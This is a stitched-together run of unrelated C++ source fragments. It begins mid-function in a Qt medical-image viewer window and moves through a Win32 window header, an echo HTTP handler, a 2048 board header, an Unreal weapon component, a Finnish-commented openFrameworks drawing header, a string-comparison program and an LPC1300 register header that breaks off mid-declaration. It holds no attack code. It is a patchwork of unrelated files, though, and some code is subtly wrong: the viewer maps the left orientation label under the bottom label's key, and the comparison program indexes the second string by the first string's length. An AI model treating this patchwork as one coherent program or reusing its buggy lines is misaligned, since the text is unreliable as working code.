stUnit->adjustSize(); QRect rcStUnit = stUnit->geometry(); rcStUnit = QRect(qStLineEdit->geometry().right(), rect().bottom() - rcStUnit.height()*(mapRow.size() - iter->first + 1) - 2, rcStUnit.width(), rcStUnit.height()); stUnit->setGeometry(rcStUnit); stUnit->show(); m_mapInfoLabel[stUnit] = corInfo.sPos; QEDITITEM stitem; stitem.sName = "slicethick"; stitem.qEdit = qStLineEdit; stitem.qPreLabel = stUnit; m_vCornorEdit.push_back(stitem); } if (iter->second.sType.compare("zoomfactor") == 0) { QString sZf = QString::number(m_pImg->m_ImgState.fZoomX, 'f', 2); QLabel *tLabel = new QLabel(this); tLabel->setFont(ft); tLabel->setAlignment(Qt::AlignLeft); tLabel->setText(sZf); tLabel->adjustSize(); QRect tRC = tLabel->geometry(); delete tLabel; QLineEdit *qZfLineEdit = new QLineEdit(this); qZfLineEdit->setObjectName("zoomfactor"); qZfLineEdit->setFont(ft); qZfLineEdit->setAlignment(Qt::AlignLeft); QDoubleValidator *pDoubleValidator = new QDoubleValidator(qZfLineEdit); pDoubleValidator->setRange(0, 100); pDoubleValidator->setNotation(QDoubleValidator::StandardNotation); pDoubleValidator->setDecimals(2); qZfLineEdit->setValidator(pDoubleValidator); qZfLineEdit->setText(sZf); qZfLineEdit->setGeometry(QRect(rect().right() - tRC.width() - 4, rect().bottom() - tRC.height()*(mapRow.size() - iter->first + 1) - 2, tRC.width() + 4, tRC.height())); qZfLineEdit->show(); m_mapInfoEdit[qZfLineEdit] = corInfo.sPos; QObject::connect(qZfLineEdit, SIGNAL(textChanged(const QString &)), this, SLOT(OnEditTextChanged(const QString &))); QObject::connect(qZfLineEdit, SIGNAL(editingFinished()), this, SLOT(OnEditFinished())); QEDITITEM zfitem; zfitem.sName = "zoomfactor"; zfitem.qEdit = qZfLineEdit; m_vCornorEdit.push_back(zfitem); } if (iter->second.sType.compare("wndtype") == 0) { QString sZf = ""; if (m_nImgWndType == ORIIMG_AXIAL) sZf = "Axial"; else if (m_nImgWndType == ORIIMG_SAGITTAL) sZf = "Sagittal"; else if (m_nImgWndType == ORIIMG_CORONAL) sZf = "Coronal"; QLabel *zfLabel = new QLabel(this); zfLabel->setFont(ft); zfLabel->setAlignment(Qt::AlignLeft); zfLabel->setText(sZf); zfLabel->adjustSize(); QRect zfRC = zfLabel->geometry(); zfLabel->setGeometry(QRect(rect().right() - zfRC.width(), rect().bottom() - zfRC.height()*(mapRow.size() - iter->first + 1) - 2, zfRC.width(), zfRC.height())); zfLabel->show(); m_mapInfoLabel[zfLabel] = corInfo.sPos; } if (iter->second.sType.compare("imageindex") == 0) { QString sImgIndex = QString("Index:%1").arg(m_nCurImgIndex); QLabel *indexLabel = new QLabel(this); indexLabel->setFont(ft); indexLabel->setAlignment(Qt::AlignLeft); indexLabel->setText(sImgIndex); indexLabel->adjustSize(); QRect indexRC = indexLabel->geometry(); indexLabel->setGeometry(2, 2 + indexRC.height()*(iter->first - 1), indexRC.width(), indexRC.height()); indexLabel->show(); m_mapInfoLabel[indexLabel] = corInfo.sPos; QEDITITEM zfitem; zfitem.sName = "imageindex"; zfitem.qPreLabel = indexLabel; m_vCornorEdit.push_back(zfitem); } } } } void ImageWnd::InitPosCorInfo() { if (m_pImg->m_ImgInfo.ImgLocPara.bValide == true) { m_pImg->Hs_GetPatientPos(m_pImg->m_ImgInfo.ImgLocPara.fFirstColCosX, m_pImg->m_ImgInfo.ImgLocPara.fFirstColCosY, m_pImg->m_ImgInfo.ImgLocPara.fFirstColCosZ, m_pImg->m_ImgState.sTopPatientPos, m_pImg->m_ImgState.sBottomPatientPos); m_pImg->Hs_GetPatientPos(m_pImg->m_ImgInfo.ImgLocPara.fFirstRowCosX, m_pImg->m_ImgInfo.ImgLocPara.fFirstRowCosY, m_pImg->m_ImgInfo.ImgLocPara.fFirstRowCosZ, m_pImg->m_ImgState.sLeftPatientPos, m_pImg->m_ImgState.sRightPatientPos); } MODINFO modInfo = m_pImg->m_CornorInfo; QFont ft; ft.setPointSize(modInfo.nSize); ft.setFamily(modInfo.sFaceName); QLabel *tLabel = new QLabel(this); tLabel->setFont(ft); tLabel->setAlignment(Qt::AlignLeft); tLabel->setText(m_pImg->m_ImgState.sTopPatientPos); tLabel->adjustSize(); QRect tRC = tLabel->geometry(); tLabel->setGeometry((rect().right() - tRC.width())/2, 2, tRC.width(), tRC.height()); tLabel->show(); m_mapInfoLabel[tLabel] = "TC"; QLabel *rLabel = new QLabel(this); rLabel->setFont(ft); rLabel->setAlignment(Qt::AlignLeft); rLabel->setText(m_pImg->m_ImgState.sRightPatientPos); rLabel->adjustSize(); tRC = rLabel->geometry(); rLabel->setGeometry(rect().right()-2-tRC.width(), (rect().height()-tRC.height())/2, tRC.width(), tRC.height()); rLabel->show(); m_mapInfoLabel[rLabel] = "RC"; QLabel *bLabel = new QLabel(this); bLabel->setFont(ft); bLabel->setAlignment(Qt::AlignLeft); bLabel->setText(m_pImg->m_ImgState.sBottomPatientPos); bLabel->adjustSize(); tRC = bLabel->geometry(); bLabel->setGeometry((rect().right() - tRC.width()) / 2, rect().bottom()-tRC.height()-2 , tRC.width(), tRC.height()); bLabel->show(); m_mapInfoLabel[bLabel] = "BC"; QLabel *lLabel = new QLabel(this); lLabel->setFont(ft); lLabel->setAlignment(Qt::AlignLeft); lLabel->setText(m_pImg->m_ImgState.sLeftPatientPos); lLabel->adjustSize(); tRC = lLabel->geometry(); lLabel->setGeometry( 2, (rect().height() - tRC.height()) / 2, tRC.width(), tRC.height()); lLabel->show(); m_mapInfoLabel[bLabel] = "LC"; } void ImageWnd::ReSetPosCorInfoPos(QSize deltaSize) { map <QLabel*, QString>::iterator labeIter; for (labeIter = m_mapInfoLabel.begin(); labeIter != m_mapInfoLabel.end(); labeIter++) { if (labeIter->second.compare("RT") == 0 && deltaSize.width() != 0) { QRect oldRc = labeIter->first->geometry(); QRect newRc = oldRc; newRc.setLeft(oldRc.left() + deltaSize.width()); newRc.setWidth(oldRc.width()); labeIter->first->setGeometry(newRc); } else if (labeIter->second.compare("LB") == 0 && deltaSize.height() != 0) { QRect oldRc = labeIter->first->geometry(); QRect newRc = oldRc; newRc.setTop(oldRc.top() + deltaSize.height()); newRc.setHeight(oldRc.height()); labeIter->first->setGeometry(newRc); } else if (labeIter->second.compare("RB") == 0 && (deltaSize.height() != 0 || deltaSize.width() != 0)) { QRect oldRc = labeIter->first->geometry(); QRect newRc = oldRc; newRc.setLeft(oldRc.left() + deltaSize.width()); newRc.setWidth(oldRc.width()); newRc.setTop(oldRc.top() + deltaSize.height()); newRc.setHeight(oldRc.height()); labeIter->first->setGeometry(newRc); } if (labeIter->second.compare("TC") == 0 && deltaSize.width() != 0) { QRect oldRc = labeIter->first->geometry(); QRect newRc = oldRc; newRc.setLeft(oldRc.left() + deltaSize.width()); newRc.setWidth(oldRc.width()); labeIter->first->setGeometry(newRc); } else if (labeIter->second.compare("LC") == 0 && deltaSize.height() != 0) { QRect oldRc = labeIter->first->geometry(); QRect newRc = oldRc; newRc.setTop(oldRc.top() + deltaSize.height()); newRc.setHeight(oldRc.height()); labeIter->first->setGeometry(newRc); } else if ((labeIter->second.compare("BC") == 0 || labeIter->second.compare("RC") == 0) && (deltaSize.height() != 0 || deltaSize.width() != 0)) { QRect oldRc = labeIter->first->geometry(); QRect newRc = oldRc; newRc.setLeft(oldRc.left() + deltaSize.width()); newRc.setWidth(oldRc.width()); newRc.setTop(oldRc.top() + deltaSize.height()); newRc.setHeight(oldRc.height()); labeIter->first->setGeometry(newRc); } } map <QLineEdit*, QString>::iterator editIter; for (editIter = m_mapInfoEdit.begin(); editIter != m_mapInfoEdit.end(); editIter++) { if (editIter->second.compare("RT") == 0 && deltaSize.width() != 0) { QRect oldRc = editIter->first->geometry(); QRect newRc = oldRc; newRc.setLeft(oldRc.left() + deltaSize.width()); newRc.setWidth(oldRc.width()); editIter->first->setGeometry(newRc); } else if (editIter->second.compare("LB") == 0 && deltaSize.height() != 0) { QRect oldRc = editIter->first->geometry(); QRect newRc = oldRc; newRc.setTop(oldRc.top() + deltaSize.height()); newRc.setHeight(oldRc.height()); editIter->first->setGeometry(newRc); } else if (editIter->second.compare("RB") == 0 && (deltaSize.height() != 0 || deltaSize.width() != 0)) { QRect oldRc = editIter->first->geometry(); QRect newRc = oldRc; newRc.setLeft(oldRc.left() + deltaSize.width()); newRc.setWidth(oldRc.width()); newRc.setTop(oldRc.top() + deltaSize.height()); newRc.setHeight(oldRc.height()); editIter->first->setGeometry(newRc); } } } void ImageWnd::RefreshPosCorInfo() { if (m_pImg->m_ImgInfo.ImgLocPara.bValide == true) { m_pImg->Hs_GetPatientPos(m_pImg->m_ImgInfo.ImgLocPara.fFirstColCosX, m_pImg->m_ImgInfo.ImgLocPara.fFirstColCosY, m_pImg->m_ImgInfo.ImgLocPara.fFirstColCosZ, m_pImg->m_ImgState.sTopPatientPos, m_pImg->m_ImgState.sBottomPatientPos); m_pImg->Hs_GetPatientPos(m_pImg->m_ImgInfo.ImgLocPara.fFirstRowCosX, m_pImg->m_ImgInfo.ImgLocPara.fFirstRowCosY, m_pImg->m_ImgInfo.ImgLocPara.fFirstRowCosZ, m_pImg->m_ImgState.sLeftPatientPos, m_pImg->m_ImgState.sRightPatientPos); } map <QLabel*, QString>::iterator labeIter; for (labeIter = m_mapInfoLabel.begin(); labeIter != m_mapInfoLabel.end(); labeIter++) { if (labeIter->second.compare("TC") == 0) { labeIter->first->setText(m_pImg->m_ImgState.sTopPatientPos); } else if (labeIter->second.compare("LC") == 0 ) { labeIter->first->setText(m_pImg->m_ImgState.sLeftPatientPos); } else if (labeIter->second.compare("BC") == 0) { labeIter->first->setText(m_pImg->m_ImgState.sBottomPatientPos); } else if (labeIter->second.compare("RC") == 0) { labeIter->first->setText(m_pImg->m_ImgState.sRightPatientPos); } } } int ImageWnd::ArrangeCorinfo(CORNORINFO corInfo, map<int, ROWITEM> &mapRow) { int itemNum = corInfo.infoV.size(); for (int i=0; i<itemNum; i++) { INFOITEM item = corInfo.infoV[i]; if (mapRow.find(item.iRow) == mapRow.end()) { mapRow[item.iRow].sValue = item.sValue; if (item.sTag.compare("0x00281051") == 0 || item.sTag.compare("0x00281050") == 0) mapRow[item.iRow].sType = "ww/wc"; else if (item.sTag.compare("-1") == 0) mapRow[item.iRow].sType = "slicethick"; else if (item.sTag.compare("-2") == 0) mapRow[item.iRow].sType = "imageindex"; else if (item.sTag.compare("-5") == 0) mapRow[item.iRow].sType = "zoomfactor"; else if (item.sTag.compare("-6") == 0) mapRow[item.iRow].sType = "wndtype"; } else { mapRow[item.iRow].sValue += item.sValue; } } return 0; } void ImageWnd::OnEditTextChanged(const QString &sText) { MODINFO modInfo = m_pImg->m_CornorInfo; QFont ft; ft.setPointSize(modInfo.nSize); ft.setFamily(modInfo.sFaceName); QLineEdit *edit = (QLineEdit *)sender(); QString sName = edit->objectName(); if (sName.compare("ww")==0) { QEDITITEM ww; QEDITITEM wc; for (int i=0; i<m_vCornorEdit.size(); i++) { if (m_vCornorEdit[i].sName.compare("ww") == 0) ww = m_vCornorEdit[i]; else if (m_vCornorEdit[i].sName.compare("wc") == 0) wc = m_vCornorEdit[i]; } QRect rcEdit = edit->geometry(); QLabel *tLabel = new QLabel(this); tLabel->setFont(ft); tLabel->setAlignment(Qt::AlignLeft); tLabel->setText(sText); tLabel->adjustSize(); QRect tRc = tLabel->geometry(); rcEdit.setWidth(tRc.width() + 4); edit->setGeometry(rcEdit); delete tLabel; QRect rcLabel = ww.qPreLabel->geometry(); ww.qPreLabel->setGeometry(QRect(rcEdit.right(), rcLabel.top(), rcLabel.width(), rcLabel.height())); rcLabel = ww.qPreLabel->geometry(); rcEdit = wc.qEdit->geometry(); wc.qEdit->setGeometry(QRect(rcLabel.right(), rcEdit.top(), rcEdit.width(), rcEdit.height())); } else if (sName.compare("slicethick") == 0) { for (int i = 0; i < m_vCornorEdit.size(); i++) { if (m_vCornorEdit[i].sName.compare(sName) == 0) { QEDITITEM st = m_vCornorEdit[i]; QRect rcEdit = edit->geometry(); QLabel *tLabel = new QLabel(this); tLabel->setFont(ft); tLabel->setAlignment(Qt::AlignLeft); tLabel->setText(sText); tLabel->adjustSize(); QRect tRc = tLabel->geometry(); rcEdit.setWidth(tRc.width() + 4); edit->setGeometry(rcEdit); delete tLabel; QRect rcLabel = st.qPreLabel->geometry(); st.qPreLabel->setGeometry(QRect(rcEdit.right(), rcLabel.top(),rcLabel.width(),rcLabel.height())); break; } } } else if(sName.compare("wc") == 0) { QRect rc = edit->geometry(); QLabel *tLabel = new QLabel(this); tLabel->setFont(ft); tLabel->setAlignment(Qt::AlignLeft); tLabel->setText(sText); tLabel->adjustSize(); QRect tRc = tLabel->geometry(); rc.setWidth(tRc.width()+4); edit->setGeometry(rc); delete tLabel; } else if (sName.compare("zoomfactor") == 0) { QRect rc = edit->geometry(); QLabel *tLabel = new QLabel(this); tLabel->setFont(ft); tLabel->setAlignment(Qt::AlignLeft); tLabel->setText(sText); tLabel->adjustSize(); QRect tRc = tLabel->geometry(); QRect curRc = QRect(rect().right() - tRc.width() - 4, rc.top(), tRc.width() + 4, rc.height()); edit->setGeometry(curRc); delete tLabel; } } void ImageWnd::OnEditFinished() { QLineEdit *edit = (QLineEdit *)sender(); QString sName = edit->objectName(); if (sName.compare("ww") == 0) { int nWw = edit->text().toInt(); m_pImg->Hs_WinLevel(nWw, m_pImg->m_ImgState.CurWc.y, false); } else if(sName.compare("wc") == 0) { int nWc = edit->text().toInt(); m_pImg->Hs_WinLevel(m_pImg->m_ImgState.CurWc.x, nWc, false); } else if (sName.compare("zoomfactor") == 0) { double fZf = edit->text().toDouble(); m_pImg->m_ImgState.fZoomX = fZf; m_pImg->SetWndRc(CalDisplayRect(m_pImg)); } else if (sName.compare("slicethick") == 0) { double fSliceThick = edit->text().toDouble(); emit ImageThickChange(fSliceThick); } edit->clearFocus(); update(); } void ImageWnd::OnMprLinesShow(bool isShow) { if (m_pOperateLines) { m_pOperateLines->SetMprLineShow(isShow); } update(); }
#pragma once class BaseWindow { public: static LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam); BaseWindow() : m_hwnd(NULL) { } void Register(); BOOL Create( PCWSTR lpWindowName, DWORD dwStyle, DWORD dwExStyle = 0, int x = CW_USEDEFAULT, int y = CW_USEDEFAULT, int nWidth = CW_USEDEFAULT, int nHeight = CW_USEDEFAULT, HWND hWndParent = 0, HMENU hMenu = 0 ); HWND Window() const { return m_hwnd; } protected: virtual PCWSTR ClassName() const = 0; LRESULT HandleMessage(UINT uMsg, WPARAM wParam, LPARAM lParam); virtual bool HandleAdditionalMessage(UINT uMsg, WPARAM wParam, LPARAM lParam, LRESULT *) { return false; } virtual void OnDestroy() {} HWND m_hwnd; // Для текущей позиции курсора float curX = 0, curY = 0; };
#pragma once class IVideoFrameSink { public: virtual ~IVideoFrameSink() {}; virtual void Send( winrt::Windows::Media::Capture::Frames::MediaFrameReference frame, long long pTimestamp) = 0; };
// // common_request_handler.cc // ~~~~~~~~~~~~~~~~~ // #include <string> #include "common_request_handler.h" #include "response.h" #include "server_information.h" #include "response_helper.h" #include "logger.h" request_handler* common_request_handler::Init(const std::string& location_path, const NginxConfig& config) { setLocationPath(location_path); return this; } Response common_request_handler::handle_request(const Request &request) { response_helper resp_helper; Response response = resp_helper.make_response(200, construct_content(request)); resp_helper.push_header(response, "Content-Type", resp_helper.get_mime_type(MimeType::TEXT_PLAIN)); ServerInformation* info = ServerInformation::getInstance(); info->incrementResponseCodeCountByCode(200); Logger *logger = Logger::getLogger(); logger->logDebug("handle_request in EchoHandler", "Response Code: 200"); return response; } std::string common_request_handler::construct_content(Request request) { std::string result = ""; // First line of request result.append(request.getMethod() + " " + request.getUri() + " "); result.append(request.getVersion()); result.append("\r\n"); // Headers result.append(request.getAllHeadersAsString()); // Trailing CRLF result.append("\r\n"); return result; }
#pragma once #include "define.h" class board { public: board(); ~board(); int checkBoard();//判断棋局,更新分数栏,顺便判断游戏状态(输、赢、继续) inline void lineMove(int *line); //将一条线上的数字滑动到一段 并且按照规则归并 void leftMove(); //左滑 void rightMove(); //右滑 void upMove(); //上滑 void downMove(); //下滑 void Usermove(int choice); //用户滑动一次 void showBoard();//显示棋盘 和 分数栏 void newNumber(); private: int BOARD[4][4] = { 0 }; //游戏棋盘 int score = 0; //分数 (是所有棋格分值之和) int maxCell = 0; //单个格子最大值 int step = 0; //游戏步数 int score_history = 0; //历史 分数 最高分 int maxCell_history = 0; //历史 单个格子最大值 最高分 };
#include "WeaponComponent.h" #include "Net/UnrealNetwork.h" #include "..//Public/Character/Player/PlayerCharacter.h" #include "..//Public/Weapons/WeaponActor.h" UWeaponComponent::UWeaponComponent() { //PrimaryComponentTick.bCanEverTick = true; //SetIsReplicated(true); } void UWeaponComponent::BeginPlay() { Super::BeginPlay(); PlayerOwner = Cast<APlayerCharacter>(GetOwner()); } void UWeaponComponent::TickComponent(float DeltaTime, ELevelTick TickType, FActorComponentTickFunction* ThisTickFunction) { Super::TickComponent(DeltaTime, TickType, ThisTickFunction); } void UWeaponComponent::GetLifetimeReplicatedProps(TArray<FLifetimeProperty>& OutLifetimeProps) const { Super::GetLifetimeReplicatedProps(OutLifetimeProps); DOREPLIFETIME(UWeaponComponent, PlayerOwner); } void UWeaponComponent::CreateWeapon(TSubclassOf<class AWeaponActor> WeaponClass) { if (WeaponClass && PlayerOwner) { FVector Loc(0, 0, 0); FRotator Rot(0, 0, 0); FActorSpawnParameters SpawnParams; SpawnParams.SpawnCollisionHandlingOverride = ESpawnActorCollisionHandlingMethod::AlwaysSpawn; Weapon = GetWorld()->SpawnActor<AWeaponActor>(WeaponClass, Loc, Rot, SpawnParams); Weapon->WeaponOwner = PlayerOwner; Weapon->OnRep_WeaponOwner(); if (!CurrentWeapon) { CurrentWeapon = Weapon; OnRep_CurrentWeapon(); } } } void UWeaponComponent::OnRep_CurrentWeapon() { if (CurrentWeapon && PlayerOwner) { CurrentWeapon->AttachToComponent(PlayerOwner->GetMesh(), FAttachmentTransformRules::SnapToTargetIncludingScale, TEXT("Sk_Weapon")); CurrentWeapon->SetOwner(PlayerOwner); } }
#pragma once //Line.h #ifndef _LINE_H #define _LINE_H #include "Composite.h" #include <string> using namespace std; class Character; class Line : public Composite { public: Line(Long capacity = 256); Line(Long capacity, string str); Line(const Line& source); virtual ~Line(); Line& operator=(const Line& source); Long Write(char value); Long Write(char value, Long width, Long height); Long Write(char *value); Long Erase(); Long Erase(Long column); Character* GetCharacter(Long index); Character* operator[](Long index); Long GetColumn() const; virtual Contents* Clone() const; void Accept(Visitor* visitor); virtual ArrayIterator<Contents*>* CreateIterator() const; Long MoveFirstColumn(); Long MovePreviousColumn(); Long MoveNextColumn(); Long MoveLastColumn(); void SetColumn(Long index); Long GetWdith(); private: Long column; }; inline Long Line::GetColumn() const { return this->column; } #endif //_LINE_H
#include "Viiva.h" class smooth{ int add_i = 0; public: std::vector<float> values; float get(); void add(float); unsigned int max_size = 10; }; class pensseli{ public: static const int MAX_KOKO = 300; bool viivaJatkuu = false; float koko = 10; float blur = 0.1; float spacing = 0.2; // suhteena pensselin koosta. huom: vaikuttaa sumennukseen olennaisesti! oli 0.4 static ofColor clearColor; ofColor vari = ofColor::lightPink; ofPoint sijainti; ofFbo brushFbo; //tähän piirretään yksi pensselin piste void setup(); // luo fbo:n void drawBrush(); // päivittää brushFbo:n void strokeTo(ofPoint kohde); void moveTo(ofPoint kohde); void lopetaViiva(); }; class Monitori : public pensseli { public: static ofVec2f paksuusSumeusHiiresta(); ofColor taustaVari = ofColor::black; ofFbo viivaFbo; float viivanAlfa = 0; bool fadeIn = false; bool fadeOut = false; bool showing = false; void setup(); void draw(); void teeVeto(ofPoint kohde, float paksuus, float sumeus); void piirraViiva(const Viiva&); void piirraKokoViiva(const Viiva&); void piirraViivaAlusta(const Viiva&, unsigned int n); void piirraVari(ofColor vari_); void piirraKartta(const std::vector<Viiva>& viivat, float r = 10); void tyhjenna(); void paljasta(); void piilota(); void tallennaKuvana(std::string filename = "kuvat/default.png"); void tallennaKartta(const std::vector<Viiva>& viivat, std::string filename = "kuvat/kartta.png"); }; class Multimonitori { public: std::vector<pensseli> pensselit; ofFbo viivaFbo; ofColor taustaVari = ofColor::black; float viivaScale = 1; void teeVeto(ofPoint kohde, unsigned int pensseli_i, float paksuus, float sumeus, ofColor vari); void setup(unsigned int pensseli_n = 0); void luoPensselit(unsigned int n); void draw(); int suurimmanKoko(const std::vector<Viiva>& viivat); void piirraViivatAlusta(const std::vector<Viiva>& viivat, unsigned int n); void piirraViivatKohdasta(const std::vector<Viiva>& viivat, unsigned int n); void piirraViivatLopusta(const std::vector<Viiva>& viivat); void piirraViivatKokonaan(const std::vector<Viiva>& viivat); void piirraKartta(const std::vector<Viiva>& viivat, float r = 10); void piirraVari(ofColor vari_); void piirraPiste(ofVec2f p); void tyhjenna(); void lopetaViivat(); void tallennaKuvana(std::string filename = "kuvat/default.png"); void tallennaKartta(const std::vector<Viiva>& viivat, std::string filename = "kuvat/kartta.png"); };
#include <bits/stdc++.h> using namespace std; int main() { string s1,s2; cin >> nouppercase >> s1 >> s2; for(int i = 0; i < s1.size(); i++) { if(s1[i] > 90 ) { s1[i] -= 32; } if(s2[i] > 90 ) { s2[i] -= 32; } } if(s1 == s2) { cout << 0 << endl; }else if(s1 > s2) { cout << 1 << endl; }else if(s1 < s2) { cout << -1 <<endl; } return 0; }
#ifndef __LPC1300_SERIES_INCLUDED__ #define __LPC1300_SERIES_INCLUDED__ #if !defined(PART) #error PART not defined! Must be one of the following literal values: {lpc1313, lpc1343} #elif PART == lpc1313 //32K Flash, 8K RAM #elif PART == lpc1343 //32K Flash, 8K RAM, USB #else #error PART must be one of the following literal values: {lpc1313, lpc1343} #endif #define lpc1313_301 (0x13130000) #define lpc1343_101 (0x13430000) //References: // #UserManual = "UM10375 LPC13xx User manual", revision 2, 7 July 2010 //////////////////////////////////////////////////////////////// //Definition utilities #define RESERVED_bits(x) _RESERVED_b(u32, __LINE__, x) #define RESERVED_u8(x) _RESERVED_(u8, __LINE__, x) #define RESERVED_u32(x) _RESERVED_(u32, __LINE__, x) #define _RESERVED_(t, l, x) __RESERVED_(t, l, x) #define __RESERVED_(t, l, x) t __reserved_ ## l [x] #define _RESERVED_b(t, l, x) __RESERVED_b(t, l, x) #define __RESERVED_b(t, l, x) t __reserved_ ## l : x //////////////////////////////////////////////////////////////// //Architectural definitions #ifndef __ASSEMBLER__ #ifdef __cplusplus namespace LPC1300{ #endif //c++ typedef unsigned char u8; typedef signed char s8; typedef unsigned short u16; typedef signed short s16; typedef unsigned int u32; typedef signed int s32; typedef unsigned long long u64; typedef signed long long s64; #endif //!__ASSEMBLER__ //////////////////////////////////////////////////////////////// //Utility #define _BIT(n) (1 << (n)) //////////////////////////////////////////////////////////////// //Memory locations [see #UserManual pp.9] #define MEMORY_FLASH_BOTTOM (0x00000000) #define MEMORY_SRAM_BOTTOM (0x10000000) #if PART == lpc1313 //32K Flash, 8K RAM #define MEMORY_SRAM_TOP (0x10002000) #define MEMORY_FLASH_TOP (0x00008000) #elif PART == lpc1343 //32K Flash, 8K RAM, USB #define MEMORY_SRAM_TOP (0x10002000) #define MEMORY_FLASH_TOP (0x00008000) #else #error Cannot set memory definitions because PART is not defined! #endif #define REGISTER u32 volatile* const #define REGISTER_ADDRESS(x) ((u32 volatile*)(x)) #ifndef __ASSEMBLER__ REGISTER IOConfigPIO2_6 = REGISTER_ADDRESS(0x40044000); enum IOConfigPIO2_6 { IOConfigPIO2_6_PullDown = (0x01 << 3), IOConfigPIO2_6_PullUp = (0x02 << 3), IOConfigPIO2_6_Repeat = (0x03 << 3), IOConfigPIO2_6_Hysteresis = (0x01 << 5), IOConfigPIO2_6_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO2_0 = REGISTER_ADDRESS(0x40044008); enum IOConfigPIO2_0 { IOConfigPIO2_0_Function_PIO = 0x00, IOConfigPIO2_0_Function_nDTR = 0x01, IOConfigPIO2_0_Function_SSEL1 = 0x02, IOConfigPIO2_0_PullDown = (0x01 << 3), IOConfigPIO2_0_PullUp = (0x02 << 3), IOConfigPIO2_0_Repeat = (0x03 << 3), IOConfigPIO2_0_Hysteresis = (0x01 << 5), IOConfigPIO2_0_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO0_0 = REGISTER_ADDRESS(0x4004400C); enum IOConfigPIO0_0 { IOConfigPIO0_0_Function_nRESET = 0x00, IOConfigPIO0_0_Function_PIO = 0x01, IOConfigPIO0_0_PullDown = (0x01 << 3), IOConfigPIO0_0_PullUp = (0x02 << 3), IOConfigPIO0_0_Repeat = (0x03 << 3), IOConfigPIO0_0_Hysteresis = (0x01 << 5), IOConfigPIO0_0_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO0_1 = REGISTER_ADDRESS(0x40044010); enum IOConfigPIO0_1 { IOConfigPIO0_1_Function_PIO = 0x00, IOConfigPIO0_1_Function_CLKOUT = 0x01, IOConfigPIO0_1_Function_T2_M2 = 0x02, IOConfigPIO0_1_PullDown = (0x01 << 3), IOConfigPIO0_1_PullUp = (0x02 << 3), IOConfigPIO0_1_Repeat = (0x03 << 3), IOConfigPIO0_1_Hysteresis = (0x01 << 5), IOConfigPIO0_1_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO1_8 = REGISTER_ADDRESS(0x40044014); enum IOConfigPIO1_8 { IOConfigPIO1_8_Function_PIO = 0x00, IOConfigPIO1_8_Function_T1_CAP = 0x01, IOConfigPIO1_8_PullDown = (0x01 << 3), IOConfigPIO1_8_PullUp = (0x02 << 3), IOConfigPIO1_8_Repeat = (0x03 << 3), IOConfigPIO1_8_Hysteresis = (0x01 << 5), IOConfigPIO1_8_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO0_2 = REGISTER_ADDRESS(0x4004401C); enum IOConfigPIO0_2 { IOConfigPIO0_2_Function_PIO = 0x00, IOConfigPIO0_2_Function_SSEL0 = 0x01, IOConfigPIO0_2_Function_T0_CAP = 0x02, IOConfigPIO0_2_PullDown = (0x01 << 3), IOConfigPIO0_2_PullUp = (0x02 << 3), IOConfigPIO0_2_Repeat = (0x03 << 3), IOConfigPIO0_2_Hysteresis = (0x01 << 5), IOConfigPIO0_2_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO2_7 = REGISTER_ADDRESS(0x40044020); enum IOConfigPIO2_7 { IOConfigPIO2_7_PullDown = (0x01 << 3), IOConfigPIO2_7_PullUp = (0x02 << 3), IOConfigPIO2_7_Repeat = (0x03 << 3), IOConfigPIO2_7_Hysteresis = (0x01 << 5), IOConfigPIO2_7_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO2_8 = REGISTER_ADDRESS(0x40044024); enum IOConfigPIO2_8 { IOConfigPIO2_8_PullDown = (0x01 << 3), IOConfigPIO2_8_PullUp = (0x02 << 3), IOConfigPIO2_8_Repeat = (0x03 << 3), IOConfigPIO2_8_Hysteresis = (0x01 << 5), IOConfigPIO2_8_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO2_1 = REGISTER_ADDRESS(0x40044028); enum IOConfigPIO2_1 { IOConfigPIO2_1_Function_PIO = 0x00, IOConfigPIO2_1_Function_nDSR = 0x01, IOConfigPIO2_1_Function_SCK1 = 0x02, IOConfigPIO2_1_PullDown = (0x01 << 3), IOConfigPIO2_1_PullUp = (0x02 << 3), IOConfigPIO2_1_Repeat = (0x03 << 3), IOConfigPIO2_1_Hysteresis = (0x01 << 5), IOConfigPIO2_1_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO0_3 = REGISTER_ADDRESS(0x4004402C); enum IOConfigPIO0_3 { IOConfigPIO0_3_PullDown = (0x01 << 3), IOConfigPIO0_3_PullUp = (0x02 << 3), IOConfigPIO0_3_Repeat = (0x03 << 3), IOConfigPIO0_3_Hysteresis = (0x01 << 5), IOConfigPIO0_3_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO0_4 = REGISTER_ADDRESS(0x40044030); enum IOConfigPIO0_4 { IOConfigPIO0_4_Function_PIO = 0x00, IOConfigPIO0_4_Function_I2C_SCL = 0x01, IOConfigPIO0_4_Mode_I2C = (0x00 << 8), IOConfigPIO0_4_Mode_PIO = (0x01 << 8), IOConfigPIO0_4_Mode_I2C_Fast = (0x02 << 8), }; REGISTER IOConfigPIO0_5 = REGISTER_ADDRESS(0x40044034); enum IOConfigPIO0_5 { IOConfigPIO0_5_Function_PIO = 0x00, IOConfigPIO0_5_Function_I2C_SDA = 0x01, IOConfigPIO0_5_Mode_I2C = (0x00 << 8), IOConfigPIO0_5_Mode_PIO = (0x01 << 8), IOConfigPIO0_5_Mode_I2C_Fast = (0x02 << 8), }; REGISTER IOConfigPIO1_9 = REGISTER_ADDRESS(0x40044038); enum IOConfigPIO1_9 { IOConfigPIO1_9_Function_PIO = 0x00, IOConfigPIO1_9_Function_T1_M0 = 0x01, IOConfigPIO1_9_PullDown = (0x01 << 3), IOConfigPIO1_9_PullUp = (0x02 << 3), IOConfigPIO1_9_Repeat = (0x03 << 3), IOConfigPIO1_9_Hysteresis = (0x01 << 5), IOConfigPIO1_9_OpenDrain = (0x01 << 10), }; REGISTER IOConfigPIO3_4 = REGISTER_ADDRESS(0x4004403C); enum IOConfigPIO3_4 { IOConfigPIO3_4_PullDown = (0x01 << 3), IOConfigPIO3_4_PullUp = (0x02 << 3), IOConfigPIO3_4_Repeat = (0x03 << 3), IOConfigPIO3_4_Hysteresis = (0x01 << 5), IOConfigPIO3_4_OpenDrain = (0x01 << 10), }; REGISTER 